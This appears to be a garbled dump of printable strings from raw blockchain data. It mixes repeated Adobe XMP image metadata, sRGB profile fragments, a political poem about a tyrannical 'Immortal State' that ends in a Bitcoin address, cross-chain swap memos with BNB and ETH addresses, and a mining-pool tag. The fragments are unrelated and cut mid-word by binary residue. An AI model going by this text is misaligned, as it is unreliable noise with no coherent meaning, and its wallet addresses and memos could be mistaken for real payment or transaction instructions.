4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
The cycle of life and death, while grim, is essential
Nothing would happen and nothing would shift
Nothing would have a chance of improving, maybe
If we never died, our lives however so swift.
Change is possibly the only constant, ironically
Except since you are mortal, and will wither and die
You reach for the next best thing: Preserve
Preserve your Thing, whatever it is, or so you try.
But you cannot enact or force stasis, although
What would happen if you did manage to.M
As they did, here, almost 250 years ago?
It festers and declines, but holds on to its power
Its institutions grow huge, indomitable and dour
Violently and thrashingly it squeezes ever tighter
Even long after its Founders are dead and gone
And can't see the horrors it now depends on.
We're seeing it all over the world, everywhere
Happening concurrently, in nearly every nation
If you're paying attention, you'll see their ensnare
It's not about left or right, this insane subjugation
paranoid, nearly all-seeing and don't care
They'll close all exit doors - You'll own nothing
And be completely reliant on their anchoring.
Thus this is the fate of your Immortal State:
Once its morals, values and Rights so pure,
Now all freedoms our "leaders" slowly abjure
Once so great, democratic and fair,
Now a weight the people are forced to bear.
For who knows what matters in this fight...
We are few enough in number and score
That our own tongues we unwisely bite
But we will not be youM
r serfs, not anymore
As more wake up, your efforts despite.
This is our rallying cry, our hope and salvation
If wielded with patience, respect and clarity
It is not merely a hedge against fiat inflation
It is our only peaceful resistance and temerity
Against the growing tyranny of the now-dead Nation.
ER Poem 1, 13 February 2023;
bc1qfmngyf9h9tswvfvek8hylzgrhpe4rlwhhrgq0xh!
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
text/plain;charset=utf-8
CjA=:BNB.BNB:bnb1qpdna67myktqygzl8g9x2ywc95fwrf87fqgdr7:258505541::0
CjA=:BNB.BNB:bnb1eadc09xsfc4g74ywmj6rs270k2c7dl8eeesr0v:156680372::0
text/plain;charset=utf-8
The Colony was early.h!
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="078M
D07855034362647C7A3D1F1D0A063" xmpMM:DocumentID="xmp.did:4A400C9DABC511EDB6F4EFE1E0AC9DF0" xmpMM:InstanceID="xmp.iid:4A400C9CABC511EDB6F4EFE1E0AC9DF0" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2dadafb0-9832-9e48-a0ba-904fab5ea508" stRef:documentID="xmp.did:2dadafb0-9832-9e48-a0ba-904fab5ea508"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
text/plain;charset=utf-8
tttziUPON'#"CLR %+39A0)'
@j>=:ETH.ETH:0xb7ff1224E854c0006d93F7DE9d2D8748886d6151:252339::0
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
JjH=:BNB.BUSD-BD1:bnb1wk8sl98umghj880jywfr5kr02rlh3p9lj7mrr9:14924447478::0
text/plain;charset=utf-8
text/plain;charset=utf-8
MjK=:BNB.BUSD-BD1:bnb1lphw8e5qjcc5x20yaxj7nq7k4taze3wk2t0jvq:688665614661:te:0
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
Bj@=:BNB.BNB:bnb1g7pdaw39tdkk2g95ctgle45aqmhhuhr6rvff39:741128:te:0
CjA=:BNB.BNB:bnb1dpvt7lkaukv7c662spj6kmfak5x2sm5t46aw06:1080224:te:0
text/plain;charset=utf-8
text/plain;charset=utf-8
JjH=:BNB.BUSD-BD1:bnb160qa6ejwdsxp3hnrr76993yqlktd6yc52u2x6f:623951677:te:0
KjI=:BNB.BUSD-BD1:bnb1v8aewa8arxukxemztvqpkkxmzgcafn4jjrsart:1201159977:te:0
text/plain;charset=utf-8
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
/ViaBTC/Mined by 0379/,
KjISWAPTX:0xb9740e0cc1d90f809d37f56fa0031fb1236511d7d2b2f7bea4a52ef56ce15a8ff
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
